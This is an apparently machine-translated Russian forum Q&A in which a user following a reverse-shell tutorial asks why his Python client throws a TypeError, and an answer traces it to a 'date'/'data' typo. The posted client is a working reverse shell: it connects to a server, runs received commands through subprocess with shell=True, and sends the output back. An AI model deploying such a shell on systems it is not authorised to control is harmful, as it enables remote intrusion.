2016-07-22 3 views
0

Привет там я смотрел некоторые учебники о Реверс оболочки с помощью питона в YouTube https://www.youtube.com/watch?v=-QMPYah8fWI&index=5&list=PL6gx4Cwl9DGCbpkBEMiCaiu_3OL-_Bz_8][1]клиентский сокет вопрос «__getitem__»

цель этого клиента получить команду от сервера, сервер работает отлично, но когда я побежал клиент он дал мне эту

File "/root/Desktop/Revers/client.py", line 15, in <module> 
if data[:2].decode('utf-8') == "cd": 
TypeError: 'module' object has no attribute '__getitem_ 

вот код:

s = socket.socket() 
s.connect((host, port)) 

while True: 
    date = s.recv(1024) 
    if data[:2].decode('utf-8') == "cd": 
     os.chdir(data[3:].decode("utf-8")) 
    if len(data) > 0: 
     cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, 
          stdin=subprocess.PIPE) 
     output_bytes = cmd.stdout.read() + cmd.stderr.read() 
     output_str = str(output_bytes) 
     s.send(str.encode(output_str + str(os.getcwd()) + '> ')) 
     print(output_str) 

s.close() 
+0

Вне темы: Запуск среды рабочего стола как root - плохая идея. –

ответ

0

Существует опечатка в этой строке:

 date = s.recv(1024) 

date вместо data.

Так выражение data[:2] вызывает data.__getitem__, где data определен ранее.

Как ошибка о 'module' object, я думаю, data - это модуль, который вы импортируете раньше.

+0

Да, конечно, когда я проверил, я увидел, что я импортирую модуль данных из scapy Нравится: от scapy import data –

Смежные вопросы